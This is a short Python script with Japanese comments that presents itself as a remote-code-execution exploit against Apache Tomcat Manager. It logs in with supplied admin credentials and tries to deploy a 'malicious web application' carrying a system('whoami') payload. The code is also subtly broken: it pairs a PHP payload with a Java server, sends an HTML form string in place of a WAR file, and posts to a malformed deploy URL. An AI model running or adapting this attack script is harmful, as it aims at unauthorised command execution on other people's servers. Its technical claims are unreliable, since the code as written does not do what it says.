import requests

# 設定
target_url = "http://target-ip:port/manager/html"  # 対象の Tomcat Manager URL に変更してください
username = "admin"  # 有効なユーザー名に変更してください
password = "password"  # 有効なパスワードに変更してください

# リモートサーバー上で実行するペイロード
payload = """
<?php
    // 任意の PHP コードを実行するペイロード
    system('whoami');
?>
"""

# 新しい Web アプリケーションをデプロイするための Tomcat Manager URL パス
deploy_url = f"{target_url}/deploy?path=/example&update=true"

# 認証用のヘッダー
headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

def exploit_rce(url, username, password, payload):
    """
    悪意のある Web アプリケーションをデプロイして RCE 脆弱性を悪用します。

    Args:
        url (str): Tomcat Manager の URL。
        username (str): Tomcat Manager のユーザー名。
        password (str): Tomcat Manager のパスワード。
        payload (str): 実行する悪意のあるペイロード。
    """
    try:
        # 悪意のあるペイロードを含む新しい Web アプリケーションを作成
        response = requests.post(
            url,
            headers=headers,
            data={
                "path": "/example",
                "war": f"<form method='post' enctype='multipart/form-data'><input type='file' name='file' value='{payload}'/></form>"
            },
            auth=(username, password)
        )
        
        # 応答の詳細を出力
        print("ステータスコード:", response.status_code)
        print("応答本文:", response.text)
        
        if response.status_code == 200 and "Deployed application" in response.text:
            print("[+] 悪意のある Web アプリケーションのデプロイに成功しました。")
        else:
            print("[-] 悪意のある Web アプリケーションのデプロイに失敗しました。")
    except requests.RequestException as e:
        print(f"[-] エラーが発生しました: {e}")

if __name__ == "__main__":
    print(f"RCE 脆弱性を悪用中: {deploy_url}")
    exploit_rce(deploy_url, username, password, payload)